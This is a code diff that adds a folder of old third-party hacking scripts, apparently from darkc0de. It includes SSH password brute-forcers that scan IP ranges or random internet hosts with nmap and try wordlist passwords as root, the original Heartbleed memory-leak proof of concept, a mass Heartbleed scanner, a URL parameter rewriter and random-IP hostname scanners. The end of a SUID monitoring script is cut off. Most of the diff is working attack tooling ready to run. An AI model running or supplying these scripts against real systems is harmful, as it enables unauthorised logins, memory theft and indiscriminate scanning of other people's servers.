+  	print "\n[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n[+] Loaded:",len(wordlist),"words"
+print "[+] Split - Wordlist1:",len(words1),"Wordlist2:",len(words2)
+print "[+] Server:",ip
+print "[+] User:",user
+print "[+] BruteForcing...\n"
+
+pid = os.fork()
+if pid:
+	print "[+] pid Started:",os.getpid(),"\n"
+	while len(words1) != 0:
+		word = random.choice(words1)
+		#Change this time if needed
+		time.sleep(0.5)
+		brute(word.replace("\n",""))
+		words1.remove(word)
+else:
+	print "[+] pid Started:",os.getpid()
+	while len(words2) != 0:
+		word = random.choice(words2)
+		#Change this time if needed
+		time.sleep(0.2)
+		brute(word.replace("\n",""))
+		words2.remove(word)
diff --git a/3rdparty/sshbrute_iprange.py b/3rdparty/sshbrute_iprange.py
new file mode 100644
index 0000000..ab321e1
--- /dev/null
+++ b/3rdparty/sshbrute_iprange.py
@@ -0,0 +1,98 @@
+#!/usr/bin/python
+#SSH BruteForcer that scans an ip range for 
+#open ssh ports using nmap and then brute 
+#forces them.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, time, StringIO, commands, re
+
+#Set the successful login file.
+save_file = "SSH_Logins.txt"
+#Set verbose mode: 1=on 0=off
+verbose = 1
+#Set the user to use.
+user = "root"
+
+
+try:
+	import pexpect, pxssh
+except(ImportError):
+	print "\nYou need the pexpect module."
+	print "http://www.noah.org/wiki/Pexpect\n"
+	sys.exit(1)
+	
+def scan():
+	ips = []
+	args = 'nmap -P0 '+ip_range+' -p 22 -open | grep open -B 3'
+	nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).readlines()
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ips.append(ipaddr[0])
+	return ips
+
+def brute(ip, word):
+	if verbose != 0:
+		print "Trying:",word
+     	try:
+        	s = pxssh.pxssh()
+        	s.login (ip, user, word, login_timeout=10)
+        	s.sendline (command)
+        	s.prompt()
+        	print "\n",s.before
+        	s.logout()
+		print "\t[!] Login Success:",user, word,"\n"
+		logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
+   	except Exception, e:
+        	#print "[-] Failed"
+		pass
+	except KeyboardInterrupt:
+		print "\n[-] Quit\n"
+		logins.close()
+		sys.exit(1)
+
+print "\n\t   d3hydr8:darkc0de.com sshBrute/IpRange v1.0"
+print "\t------------------------------------------------"
+	
+if len(sys.argv) != 3:
+	print "\nUsage : ./sshbrute_iprange.py <ip_range> <wordlist>"
+	print "Eg: ./sshbrute_iprange.py 198.162.1.1-255 words.txt\n"
+	sys.exit(1)
+
+ip_range = sys.argv[1]
+command = 'uname -a'
+logins = open(save_file, "a")
+
+try:
+	words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "\n[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n[+] Loaded:",len(words),"words"
+print "[+] User:",user
+print "[+] Save file:",save_file
+if verbose != 0:
+	print "[+] Verbose Mode: On"
+else:
+	print "[+] Verbose Mode: Off"
+print "[+] Scanning:",ip_range
+print "This might take a min..."
+
+ips = scan()
+if len(ips) <= 0:
+	print "\n[-] No ips found running SSH\n"
+	sys.exit(1)
+else:
+	print "\n[+] Found:",len(ips),"ips running SSH"
+
+for ip in ips:
+	print "[+] BruteForcing:",ip,"\n"
+	for word in words:
+		#Change this time if needed
+		time.sleep(0.5)
+		brute(ip, word.replace("\n",""))
+logins.close()
+print "\n[-] Done\n"
diff --git a/3rdparty/sshbrute_random.py b/3rdparty/sshbrute_random.py
new file mode 100644
index 0000000..4f21f15
--- /dev/null
+++ b/3rdparty/sshbrute_random.py
@@ -0,0 +1,89 @@
+#!/usr/bin/python
+#SSH BruteForcer that scans for random
+#open ssh ports using nmap and then brute 
+#forces them.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, time, StringIO, commands, re
+
+#Set the successful login file.
+save_file = "SSH_Logins.txt"
+#Set verbose mode: 1=on 0=off
+verbose = 1
+#Set the user to use.
+user = "root"
+
+try:
+	import pexpect, pxssh
+except(ImportError):
+	print "\nYou need the pexpect module."
+	print "http://www.noah.org/wiki/Pexpect\n"
+	sys.exit(1)
+	
+def scan():
+	args = 'nmap -iR 1 -p 22 -open | grep open -B 3'
+	nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).read()
+	ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
+	if ipaddr:
+	    	return ipaddr[0]
+
+def brute(ip, word):
+	if verbose != 0:
+		print "Trying:",word
+     	try:
+        	s = pxssh.pxssh()
+        	s.login (ip, user, word, login_timeout=10)
+        	s.sendline (command)
+        	s.prompt()
+        	print "\n",s.before
+        	s.logout()
+		print "\t[!] Login Success:",user, word,"\n"
+		logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
+   	except Exception, e:
+        	#print "[-] Failed"
+		pass
+	except KeyboardInterrupt:
+		print "\n[-] Quit\n"
+		logins.close()
+		sys.exit(1)
+
+print "\n\t   d3hydr8:darkc0de.com sshBrute/Random v1.0"
+print "\t----------------------------------------------"
+	
+if len(sys.argv) != 3:
+	print "\nUsage : ./sshbrute_random.py <how many> <wordlist>"
+	print "Eg: ./sshbrute_random.py 1000 words.txt\n"
+	sys.exit(1)
+
+num = sys.argv[1]
+command = 'uname -a'
+logins = open(save_file, "a")
+
+try:
+	words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "\n[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n[+] Loaded:",len(words),"words"
+print "[+] User:",user
+print "[+] Save file:",save_file
+if verbose != 0:
+	print "[+] Verbose Mode: On"
+else:
+	print "[+] Verbose Mode: Off"
+print "[+] Scanning:",num,"ips\n"
+
+for x in xrange(int(num)):
+	print "[-] Scanning:",x+1,"of",num
+	ip = scan()
+	if ip != None:
+		print "\n\t[+] BruteForcing:",ip,"\n"
+		for word in words:
+			#Change this time if needed
+			time.sleep(0.5)
+			brute(ip, word.replace("\n",""))
+logins.close()
+print "\n[-] Done\n"
diff --git a/3rdparty/ssl.py b/3rdparty/ssl.py
new file mode 100644
index 0000000..6f96803
--- /dev/null
+++ b/3rdparty/ssl.py
@@ -0,0 +1,136 @@
+#!/usr/bin/python
+ 
+# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
+# The author disclaims copyright to this source code.
+ 
+import sys
+import struct
+import socket
+import time
+import select
+import re
+from optparse import OptionParser
+ 
+options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
+options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
+ 
+def h2bin(x):
+    return x.replace(' ', '').replace('\n', '').decode('hex')
+ 
+hello = h2bin('''
+16 03 02 00  dc 01 00 00 d8 03 02 53
+43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
+bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
+00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
+00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
+c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
+c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
+c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
+c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
+00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
+03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
+00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
+00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
+00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
+00 0f 00 01 01                                  
+''')
+ 
+hb = h2bin(''' 
+18 03 02 00 03
+01 40 00
+''')
+ 
+def hexdump(s):
+    for b in xrange(0, len(s), 16):
+        lin = [c for c in s[b : b + 16]]
+        hxdat = ' '.join('%02X' % ord(c) for c in lin)
+        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
+        print '  %04x: %-48s %s' % (b, hxdat, pdat)
+    print
+ 
+def recvall(s, length, timeout=5):
+    endtime = time.time() + timeout
+    rdata = ''
+    remain = length
+    while remain > 0:
+        rtime = endtime - time.time() 
+        if rtime < 0:
+            return None
+        r, w, e = select.select([s], [], [], 5)
+        if s in r:
+            data = s.recv(remain)
+            # EOF?
+            if not data:
+                return None
+            rdata += data
+            remain -= len(data)
+    return rdata
+        
+ 
+def recvmsg(s):
+    hdr = recvall(s, 5)
+    if hdr is None:
+        print 'Unexpected EOF receiving record header - server closed connection'
+        return None, None, None
+    typ, ver, ln = struct.unpack('>BHH', hdr)
+    pay = recvall(s, ln, 10)
+    if pay is None:
+        print 'Unexpected EOF receiving record payload - server closed connection'
+        return None, None, None
+    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
+    return typ, ver, pay
+ 
+def hit_hb(s):
+    s.send(hb)
+    while True:
+        typ, ver, pay = recvmsg(s)
+        if typ is None:
+            print 'No heartbeat response received, server likely not vulnerable'
+            return False
+ 
+        if typ == 24:
+            print 'Received heartbeat response:'
+            hexdump(pay)
+            if len(pay) > 3:
+                print 'WARNING: server returned more data than it should - server is vulnerable!'
+            else:
+                print 'Server processed malformed heartbeat, but did not return any extra data.'
+            return True
+ 
+        if typ == 21:
+            print 'Received alert:'
+            hexdump(pay)
+            print 'Server returned error, likely not vulnerable'
+            return False
+ 
+def main():
+    opts, args = options.parse_args()
+    if len(args) < 1:
+        options.print_help()
+        return
+ 
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    print 'Connecting...'
+    sys.stdout.flush()
+    s.connect((args[0], opts.port))
+    print 'Sending Client Hello...'
+    sys.stdout.flush()
+    s.send(hello)
+    print 'Waiting for Server Hello...'
+    sys.stdout.flush()
+    while True:
+        typ, ver, pay = recvmsg(s)
+        if typ == None:
+            print 'Server closed connection without sending Server Hello.'
+            return
+        # Look for server hello done message.
+        if typ == 22 and ord(pay[0]) == 0x0E:
+            break
+ 
+    print 'Sending heartbeat request...'
+    sys.stdout.flush()
+    s.send(hb)
+    hit_hb(s)
+ 
+if __name__ == '__main__':
+    main()
diff --git a/3rdparty/ssltestmulti.py b/3rdparty/ssltestmulti.py
new file mode 100644
index 0000000..e2bafa7
--- /dev/null
+++ b/3rdparty/ssltestmulti.py
@@ -0,0 +1,372 @@
+#!/usr/bin/env python
+
+# Based on the original code by Jared Stafford.
+
+# NOTE: this code has been modified to test for OpenSSL versions vulnerable to
+# Heartbleed without exploiting the server, therefore the heartbeat request
+# does _not_ cause the server to leak any data from memory or expose any data
+# in an unauthorized manner.
+# Based on: https://github.com/dchan/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
+# See: https://blog.mozilla.org/security/2014/04/12/testing-for-heartbleed-vulnerability-without-exploiting-the-server/
+
+# Usage example: python ssltest.py example.com
+
+import sys
+import struct
+import socket
+import time
+import select
+import re
+import threading
+import netaddr
+import json
+import os
+import datetime
+import signal
+from optparse import OptionParser
+from collections import defaultdict
+from multiprocessing.dummy import Pool
+
+host_status = {}
+hosts_to_skip = []
+counter = defaultdict(int)
+lock = threading.Lock()
+
+options = OptionParser(usage='%prog <network> [network2] [network3] ...', description='Test for SSL heartbleed vulnerability (CVE-2014-0160) on multiple domains')
+options.add_option('--input', '-i', dest="input_file", default=[], action="append", help="Optional input file of networks or ip addresses, one address per line")
+options.add_option('--logfile', '-o', dest="log_file", default="results.txt", help="Optional logfile destination")
+options.add_option('--resume', dest="resume", action="store_true", default=False, help="Do not rescan hosts that are already in the logfile")
+options.add_option('--timeout', '-t', dest="timeout", default=5, help="How long to wait for remote host to respond before timing out")
+options.add_option('--threads', dest="threads", default=100, help="If specific, run X concurrent threads")
+options.add_option('--json', dest="json_file", default=None, help="Save data as json into this file")
+options.add_option('--only-vulnerable', dest="only_vulnerable", action="store_true", default=False, help="Only scan hosts that have been scanned before and were vulnerable")
+options.add_option('--only-unscanned', dest="only_unscanned", action="store_true", default=False, help="Only scan hosts that appear in the json file but have not been scanned")
+options.add_option('--summary', dest="summary", action="store_true", default=False, help="Useful with --json. Don't scan, just print old results")
+options.add_option('--verbose', dest="verbose", action="store_true", default=False, help="Print verbose information to screen")
+options.add_option('--max', dest="max", default=None, help="Exit program after scanning X hosts. Useful with --only-unscanned")
+opts, args = options.parse_args()
+
+threadpool = Pool(processes=int(opts.threads))
+
+
+def h2bin(x):
+    return x.replace(' ', '').replace('\n', '').decode('hex')
+
+hello = h2bin('''
+16 03 03 00  dc 01 00 00 d8 03 03 53
+43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
+bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
+00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
+00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
+c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
+c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
+c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
+c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
+00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
+03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
+00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
+00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
+00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
+00 0f 00 01 01
+''')
+
+def recvall(s, length, timeout=5):
+    endtime = time.time() + timeout
+    rdata = ''
+    remain = length
+    while remain > 0:
+        rtime = endtime - time.time()
+        if rtime < 0:
+            return None
+        r, w, e = select.select([s], [], [], 5)
+        if s in r:
+            try:
+                data = s.recv(remain)
+            except Exception, e:
+                return None
+            # EOF?
+            if not data:
+                return None
+            rdata += data
+            remain -= len(data)
+    return rdata
+
+
+def recvmsg(s):
+    hdr = recvall(s, 5)
+    if hdr is None:
+        return None, None, None
+    typ, ver, ln = struct.unpack('>BHH', hdr)
+    pay = recvall(s, ln, 10)
+    if pay is None:
+        return None, None, None
+    return typ, ver, pay
+
+
+def hit_hb(s):
+    while True:
+        typ, ver, pay = recvmsg(s)
+        if typ is None:
+            return False
+
+        if typ == 24:
+            return True
+
+        if typ == 21:
+            return False
+
+def unpack_handshake(pay):
+    """
+    Unpack the SSL handshake in Multiple Handshake Message
+    """
+    paylen = len(pay)
+    offset = 0
+    payarr = []
+
+    while offset < paylen:
+        h = pay[offset:offset + 4]
+        t, l24 = struct.unpack('>B3s', h)
+        l = struct.unpack('>I', '\x00' + l24)[0]
+        payarr.append((
+            t,
+            l,
+            pay[offset+4:offset+4+l]
+            ))
+        offset = offset+l+4
+    return payarr
+
+def is_vulnerable(host, timeout):
+    """ Check if remote host is vulnerable to heartbleed
+
+     Returns:
+        None  -- If remote host has no ssl
+        False -- Remote host has ssl but likely not vulnerable
+        True  -- Remote host might be vulnerable
+    """
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.settimeout(int(timeout))
+    try:
+        s.connect((host, 443))
+    except Exception, e:
+        return None
+    s.send(hello)
+
+    while True:
+        typ, ver, pay = recvmsg(s)
+        if typ is None:
+            return None
+
+        if typ == 22:
+            payarr = unpack_handshake(pay)
+            # Look for server hello done message.
+            finddone = [t for t, l, p in payarr if t == 14]
+            if len(finddone) > 0:
+                break
+
+    # construct heartbeat request packet
+    ver_chr = chr(ver&0xff)
+    hb  = h2bin("18 03") + ver_chr + h2bin("40 00 01 3f fd") + "\x01"*16381
+    hb += h2bin("18 03") + ver_chr + h2bin("00 03 01 00 00")
+
+    s.send(hb)
+    return hit_hb(s)
+
+
+def store_results(host_name, current_status):
+    current_time = time.time()
+    with lock:
+        counter[current_status] += 1
+        counter["Total"] += 1
+        if host_name not in host_status:
+            host_status[host_name] = {}
+        host = host_status[host_name]
+        # Make a note when this host was last scanned
+        host['last_scan'] = current_time
+
+        # Make a note if this host has never been scanned before
+        if 'first_scan' not in host:
+            host['first_scan'] = current_time
+        elif host.get('status', 'never been scanned') != current_status:
+            # If it has a different check result from before
+            host['changelog'] = host.get('changelog', [])
+            changelog_entry = [current_time, current_status]
+            host['changelog'].append(changelog_entry)
+        host['status'] = current_status
+        with open(opts.log_file, 'a') as f:
+            message = "{current_time} {host} {current_status}".format(**locals())
+            f.write(message + "\n")
+            return message
+
+
+def scan_host(host):
+    """ Scans a single host, logs into
+
+    Returns:
+        list(timestamp, ipaddress, vulnerabilitystatus)
+    """
+    if opts.max and int(opts.max) >= counter["Total"]:
+        return
+    host = str(host)
+    if host in hosts_to_skip:
+        return
+    result = is_vulnerable(host, opts.timeout)
+    message = store_results(host, result)
+    if opts.verbose:
+        print message
+    return message
+
+
+def scan_hostlist(hostlist, threads=5):
+    """ Iterates through hostlist and scans them
+
+    Arguments:
+        hostlist    -- Iterable with ip addresses
+        threads     -- If specified, run in multithreading mode
+    """
+    task = threadpool.map_async(scan_host, hostlist)
+    while True:
+        print counter['Total'], "hosts done"
+        task.wait(1)
+        if task.ready() or hasattr(threadpool, 'done'):
+            return
+    threadpool.close()
+    threadpool.join()
+
+
+def clean_hostlist(args):
+    """ Returns list of iterables
+    Examples:
+    >>> hostlist = ["127.0.0.1", "127.0.0.2"]
+    >>> clean_hostlist(hostlist)
+    """
+    hosts = []
+    networks = []
+    for i in args:
+        # If it contains any alphanumerics, it might be a domain name
+        if any(c.isalpha() for c in i):
+            # Special hack, because alexa top x list is kind of weird
+            i = i.split('/')[0]
+            hosts.append(i)
+        # If arg contains a / we assume its a network name
+        elif '/' in i:
+            networks.append(netaddr.IPNetwork(i))
+        else:
+            hosts.append(i)
+    result = []
+    for network in networks:
+        if network.size >= opts.threads:
+            result.append(network)
+        else:
+            for i in network:
+                hosts.append(str(i))
+    if hosts:
+        result.append(hosts)
+    return result
+
+
+def import_json(filename):
+    """ Reads heartbleed data in json format from this file """
+    with open(filename) as f:
+        json_data = f.read()
+    data = json.loads(json_data)
+    for k, v in data.items():
+        host_status[k] = v
+
+
+def export_json(filename):
+    """ Save scan results into filename as json data
+    """
+    json_data = json.dumps(host_status, indent=4)
+    with open(filename, 'w') as f:
+        f.write(json_data)
+
+
+def print_summary():
+    """ Print summary of previously stored json data to screen """
+    if not opts.json_file:
+        pass
+        #options.error("You need to provide --json with --summary")
+    else:
+        import_json(opts.json_file)
+    counter = defaultdict(int)
+    for host, data in host_status.items():
+        friendly_status = "unknown"
+        status = data.get('status', "Not scanned")
+        if status is None:
+            friendly_status = "SSL Connection Failed"
+        elif status is True:
+            friendly_status = "Vulnerable"
+        elif status is False:
+            friendly_status = "Not Vulnerable"
+        else:
+            friendly_status = str(status)
+        last_scan = int(float(data.get('last_scan',0)))
+        last_scan = datetime.datetime.fromtimestamp(last_scan).strftime('%Y-%m-%d %H:%M:%S')
+        counter[friendly_status] += 1
+        counter['Total'] += 1
+        if opts.only_vulnerable and not status:
+            continue
+        elif opts.only_unscanned and 'status' in data:
+            continue
+        print "%s %-20s %5s" % (last_scan, host, friendly_status)
+    print "------------ summary -----------"
+    for k,v in counter.items():
+        print "%-7s %s" % (v, k)
+    return
+
+def signal_handler(signal, frame):
+    print "Ctrl+C pressed.. aborting..."
+    threadpool.terminate()
+    threadpool.done = True
+
+def main():
+    if opts.summary:
+        print_summary()
+        return
+
+    if not args and not opts.input_file and not opts.json_file:
+        options.print_help()
+        return
+
+
+    # If any input files were provided, parse through them and add all addresses to "args"
+    for input_file in opts.input_file:
+        with open(input_file) as f:
+            for line in f:
+                words = line.split()
+                if not words:
+                    continue
+                # If input file is in masscan's portscan format
+                if line.startswith("Discovered open port"):
+                    args.append(words.pop())
+                elif len(words) == 1:
+                    args.append(words[0])
+                else:
+                    print "Skipping invalid input line: " % line
+                    continue
+    if opts.json_file:
+        try:
+            import_json(opts.json_file)
+        except IOError:
+            print opts.json_file, "not found. Not importing any data"
+
+
+        for host_name, data in host_status.items():
+            if opts.only_unscanned and 'status' in data:
+                continue
+            if data.get('status', None) is True or not opts.only_vulnerable:
+                args.append(host_name)
+
+    # For every network in args, convert it to a netaddr network, so we can iterate through each host
+    remote_networks = clean_hostlist(args)
+    for network in remote_networks:
+        scan_hostlist(network, threads=opts.threads)
+
+    if opts.json_file:
+        export_json(opts.json_file)
+
+    print_summary()
+
+if __name__ == '__main__':
+    signal.signal(signal.SIGINT, signal_handler)
+    main()
diff --git a/3rdparty/strbreak.py b/3rdparty/strbreak.py
new file mode 100644
index 0000000..bb393e1
--- /dev/null
+++ b/3rdparty/strbreak.py
@@ -0,0 +1,67 @@
+#!/usr/bin/python
+#String break, takes a list of sites and splits
+#them at the "=" and adds your own extension.
+
+#Can write to a file or print to the screen
+
+#tosin22001 project
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import sys
+
+if len(sys.argv) not in [3,5]:
+	print "\nUsage: ./strbreak.py <list> <extension>"
+	print "\t[options]"
+	print "\t   -f/-file <file to save> : Save generated strings to file\n"
+	sys.exit(1)
+	
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-f" or arg.lower() == "-file":
+		ofile = sys.argv[int(sys.argv[1:].index(arg))+2]
+
+try:
+  sites = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  print "Error: Check your site list path\n"
+  sys.exit(1)
+  
+ext = sys.argv[2]
+if ext[0] != "=":
+	ext = "="+ext
+  
+print "\n[+] Sites Loaded:",len(sites)
+print "[+] Extension:",ext
+  
+try:
+	if ofile:
+		output_file = open(ofile, "a")
+		print "[+] Output File:",ofile
+except(NameError):
+	output_file = None
+	print "[+] Output File: None\n"
+	pass
+	
+
+for site in sites:
+	site = site.replace("\n","")
+	new = site.split("=",1)[0]+ext
+	if output_file != None:
+		output_file.writelines(new+"\n")
+		print "\n[+] Writing Data...\n"
+		print new
+	else:
+		print new
+if output_file != None:
+	output_file.close()
+
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/subcollect.py b/3rdparty/subcollect.py
new file mode 100644
index 0000000..ac60b6c
--- /dev/null
+++ b/3rdparty/subcollect.py
@@ -0,0 +1,45 @@
+#!usr/bin/python
+#Sub-domain collector from ip range.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, socket
+
+def getips(ip_range):
+	
+	lst = []
+	iplist = []
+	ip_range = ip_range.rsplit(".",2)
+	if len(ip_range[1].split("-",1)) ==2:
+		for i in range(int(ip_range[1].split("-",1)[0]),int(ip_range[1].split("-",1)[1])+1,1):
+			lst.append(ip_range[0]+"."+str(i)+".")
+		for ip in lst:
+			for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+				iplist.append(ip+str(i))
+		return iplist
+	if len(ip_range[1].split("-",1)) ==1:
+		for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+			iplist.append(ip_range[0]+"."+str(ip_range[1].split("-",1)[0])+"."+str(i))
+		return iplist
+			
+if len(sys.argv) != 2:
+	print "Usage: ./subcollect.py <ip_range>"
+	sys.exit(1)
+	
+iplist = getips(sys.argv[1])
+print "\n[+] Range Loaded:",len(iplist),"\n"
+num = 0
+for ip in iplist:
+	try:
+		hn = socket.gethostbyaddr(ip)[0]
+		print "HostIP:",ip
+		print "HostName:",hn
+		num +=1
+	except(socket.herror):
+		pass
+print "\n[+] Found",num,"possible subdomain(s) for ip range",sys.argv[1],"\n"
+
+
+
+
diff --git a/3rdparty/subcollect2.py b/3rdparty/subcollect2.py
new file mode 100644
index 0000000..23a3a4e
--- /dev/null
+++ b/3rdparty/subcollect2.py
@@ -0,0 +1,61 @@
+#!usr/bin/python
+#Sub-domain collector from ip range
+#that also can check for an open port.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, socket
+
+def pcheck(ip):
+
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.settimeout(7)
+		s.connect((ip, int(sys.argv[2])))
+		s.close()
+		return "Open"
+	except socket.error:
+		pass
+
+
+def getips(ip_range):
+	
+	lst = []
+	iplist = []
+	ip_range = ip_range.rsplit(".",2)
+	if len(ip_range[1].split("-",1)) ==2:
+		for i in range(int(ip_range[1].split("-",1)[0]),int(ip_range[1].split("-",1)[1])+1,1):
+			lst.append(ip_range[0]+"."+str(i)+".")
+		for ip in lst:
+			for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+				iplist.append(ip+str(i))
+		return iplist
+	if len(ip_range[1].split("-",1)) ==1:
+		for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+			iplist.append(ip_range[0]+"."+str(ip_range[1].split("-",1)[0])+"."+str(i))
+		return iplist
+			
+if len(sys.argv) != 3:
+	print "Usage: ./subcollect2.py <ip_range> <port>"
+	sys.exit(1)
+	
+iplist = getips(sys.argv[1])
+print "\n[+] Range Loaded:",len(iplist)
+num = 0
+for ip in iplist:
+	try:
+		hn = socket.gethostbyaddr(ip)[0]
+		print "\nHostIP:",ip
+		print "HostName:",hn
+		i = pcheck(ip)
+		if i != None:
+			print "Port:",i
+		num +=1
+	except(socket.herror):
+		pass
+print "\n[+] Found",num,"possible subdomain(s) for ip range",sys.argv[1],"\n"
+
+
+
+
diff --git a/3rdparty/subsearch.py b/3rdparty/subsearch.py
new file mode 100644
index 0000000..7c0d74c
--- /dev/null
+++ b/3rdparty/subsearch.py
@@ -0,0 +1,87 @@
+#!usr/bin/python
+#Sub-domain searcher will search hostnames for keywords.
+#There are 2 ways to scan, ip-range or random ips.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, socket, re, random
+
+#Change this to what your searching for
+hits = ["admin","mail","secure","secret","login"]
+
+def getips(ip_range):
+	
+	lst = []
+	iplist = []
+	ip_range = ip_range.rsplit(".",2)
+	if len(ip_range[1].split("-",1)) ==2:
+		for i in range(int(ip_range[1].split("-",1)[0]),int(ip_range[1].split("-",1)[1])+1,1):
+			lst.append(ip_range[0]+"."+str(i)+".")
+		for ip in lst:
+			for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+				iplist.append(ip+str(i))
+		return iplist
+	if len(ip_range[1].split("-",1)) ==1:
+		for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1):
+			iplist.append(ip_range[0]+"."+str(ip_range[1].split("-",1)[0])+"."+str(i))
+		return iplist
+			
+def randip():
+	
+	A = random.randrange(255) + 1
+	B = random.randrange(255) + 1
+	C = random.randrange(255) + 1
+	D = random.randrange(255) + 1
+	ip = "%d.%d.%d.%d" % (A,B,C,D)
+	return ip
+
+if len(sys.argv) != 2:
+	print "Usage: ./subsearch.py <option>"
+	print "\t[options]" 
+	print "\t   <number> : Random Scan" 
+	print "\t   <ip_range> : Searches ip_range"
+	print "ex: ./subsearch.py 1000" 
+	print "ex: ./subsearch.py 198.162.1.1-100" 
+	sys.exit(1)
+	
+num = 0
+print "\n[+] Loaded:",len(hits),"searches"
+if sys.argv[1].isdigit() == False:
+	print "[+] Searching:",sys.argv[1]
+	try:
+		iplist = getips(sys.argv[1])
+	except(IndexError):
+		print "\n[-] Incorrect ip_range format\n"
+		sys.exit(1)
+	print "\n[+] Range Loaded:",len(iplist),"ips\n"
+	for ip in iplist:
+		try:
+			for h in hits:
+				hn = socket.gethostbyaddr(ip)[0]
+				if re.search(h,hn):
+					print "HostIP:",ip
+					print "HostName:",hn
+					num +=1
+		except(socket.herror):
+			pass
+	print "\n[+] Found",num,"matches for ip range",sys.argv[1],"\n"
+else:
+	print "[+] Searching:",sys.argv[1],"ips\n"
+	for x in xrange(int(sys.argv[1])):
+		try:
+			ip = randip()
+			for h in hits:
+				hn = socket.gethostbyaddr(ip)[0]
+				if re.search(h,hn):
+					print "HostIP:",ip
+					print "HostName:",hn
+					num +=1
+		except(socket.herror):
+			pass
+	print "\n[+] Found",num,"matches found from",sys.argv[1],"ips\n"
+	
+
+
+
+
diff --git a/3rdparty/suidchecker.py b/3rdparty/suidchecker.py
new file mode 100644
index 0000000..0872c8f
--- /dev/null
+++ b/3rdparty/suidchecker.py
@@ -0,0 +1,71 @@
+#!/usr/bin/python
+#Uses the linux find cmd to locate all suid/sgid files
+#and monitors checksums for changes on these files.
+#d3hydr8[at]gmail[dot]com
+
+import os, sys, pwd, getopt, StringIO, commands, md5, time
+
+def sumfile(fobj):
+	m= md5.new()
+	while True:
+		d= fobj.read(8096)
+		if not d:
+			break
+		m.update(d)
+	return m.hexdigest()
+
+def md5sum(fname):
+	if fname == '-':
+		ret = sumfile(sys.stdin)
+	else:
+		try:
+			f = open(fname, 'rb')
+		except:
+			return 'Failed to open file'
+		ret = sumfile(f)
+		f.close()
+	return ret
+	
+def title():
+	print "\n   d3hydr8[at]gmail[dot]com SuidChecker v1.0"
+	print "----------------------------------------------"
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+suids = []
+suidsdic = {}
+
+if len(sys.argv) != 2:
+	title()
+	print "\n[-] Need a time\n"
+	sys.exit(1) 
+
+title()
+cmdsuids = StringIO.StringIO(commands.getstatusoutput('find / \( -perm -02000 -o -perm -04000 \) -ls')[1]).readlines()
+for suid in cmdsuids:
+	file = "/"+suid.split("/",1)[1][:-1]
